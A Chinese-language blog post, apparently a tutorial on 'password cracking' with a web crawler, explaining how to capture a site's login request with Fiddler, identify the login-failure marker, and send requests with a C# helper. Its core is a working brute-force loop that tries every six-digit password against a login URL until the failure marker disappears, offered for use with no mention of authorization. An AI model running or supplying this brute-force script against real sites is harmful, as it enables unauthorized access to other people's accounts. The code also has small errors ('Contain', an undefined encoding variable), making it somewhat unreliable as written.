zoukankan      html  css  js  c++  java
  • 网络爬虫(密码破解)

      用到的技术也同样是网络抓包、DOM树分析、网络请求等。

    1. 网络抓包
    2. dom树分析
    3. 网络请求
    4. 循环破解

     网络抓包

           这里抓包很简单,首先打开fiddler软件,然后打开你要破解的网站,输入用户名和一个假的密码(如果你知道真的密码,就不需要破解了),点击登录,这时候就会从fiddler中查看到一条登录的请求,一般都是POST请求,可以很清楚的从请求内容中看到请求的URl、用户名、密码等,将该语句复制下来,准备下一步工作。

     dom树分析

           这里的DOM树分析,只需要分析刚刚那条登录请求的结果即可,一般都是提示你登录失败,但是有些返回的是整个html页面,有些是json语句等等,但是终归你会找到一个标识你登录失败的地方,将这个也记录下来,准备下一步工作。

     网络请求

           此次网络请求在上一篇文章中也有过介绍,在这里我再放出代码,但需要强调的是using (StreamReader sr = new StreamReader(instream, encoding))中的encoding,如果你能看出返回网页的编码方式,这里就改成相应的编码,否则中午会出现乱码的情况,如果不知道,那么可以用GB2312等逐一测试,直到不出现乱码为止。

    
    
    public string GetContent(string method, string url, string postData = "", CookieContainer cookie = null){
        HttpWebResponse response = null;
        HttpWebRequest request = null;
        if (cookie == null)
            cookie = new CookieContainer();
        // 准备请求...
        try
        {
            // 设置参数
            request = WebRequest.Create(url) as HttpWebRequest;
            request.CookieContainer = cookie;
            request.AllowAutoRedirect = true;
            request.Method = method.ToUpper();
            request.ContentType = "application/x-www-form-urlencoded";
            string userAgent = string.Format("Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.8670)");
            request.UserAgent = userAgent;
            request.ContentLength = postData.Length;
            if (method.ToUpper() == "POST")
            {
                if (!string.IsNullOrEmpty(postData))
                {
                    byte[] data = Encoding.Default.GetBytes(postData);
                    request.ContentLength = data.Length;
                    using (Stream outstream = request.GetRequestStream())
                    {
                        outstream.Write(data, 0, data.Length);
                    }
                }
            }
            //发送请求并获取相应回应数据
            response = request.GetResponse() as HttpWebResponse;
            //直到request.GetResponse()程序才开始向目标网页发送Post请求
            using (Stream instream = response.GetResponseStream())
            {
                using (StreamReader sr = new StreamReader(instream, encoding))
                {
                    //返回结果网页(html)代码
                    string content = sr.ReadToEnd();
                    return content;
                }
            }
        }
        catch (Exception ex)
        {
            string err = ex.Message;
            return err;
        }
        finally
        {
            if (response != null)
                response.Close();
        }
    }
    

      

     

    循环破解

           这里是本文的核心,知道了登录的请求方式以及登录失败的提示,接下来就是通过像我们当年破解密码箱密码一样一个个去试,这里只不过用程序自动完成,首先写个循环从0循环到999999(假设6位数密码),然后拼接登录请求中的数据(包含用户名、密码),然后发送网络请求判断请求的结果,如果包含之前找到的失败标识,继续循环,如果不包含,恭喜你密码找到了。代码如下:

    int start = 0;
    int end = 999999;
    for (int i = start; i <= end; i++)
    {
        var pass = i.ToString().PadLeft(6, '0');//不足6位,左边补0
        var post = "usename=yourname" + "&password=" + pass;//拼接请求的数据
        var res = GetContent("POST", loginurl, post);
    
        if (!res.Contain("失败标识"))
        {
            MessageBox.Show("密码是:" + pass);
            return;
        }
    }
    

      

           其中i.ToString().PadLeft(6, '0')的作用是不足6位补0,让密码满足6位。var post = "usename=yourname" + "&password=" + pass的作用是拼接发送的数据。

  • 相关阅读:
    PO BO VO DTO POJO DAO DO这些Java中的概念分别指一些什么?
    前端面试题汇总(待续)
    vue lottie vue-lottie : 使用教程
    webstorm 换行时 代码不对齐
    webstorm 导出编辑器配置.editorconfig
    vue 查看dist文件里的结构
    vue-cli 生产打包
    element form 校验数组每一项
    typescript无法识别vue中的$refs
    mac 10.14.5 [vue create的时候 mkdir没有权限]
  • 原文地址:https://www.cnblogs.com/baixingqiang/p/5856929.html
Copyright © 2011-2022 走看看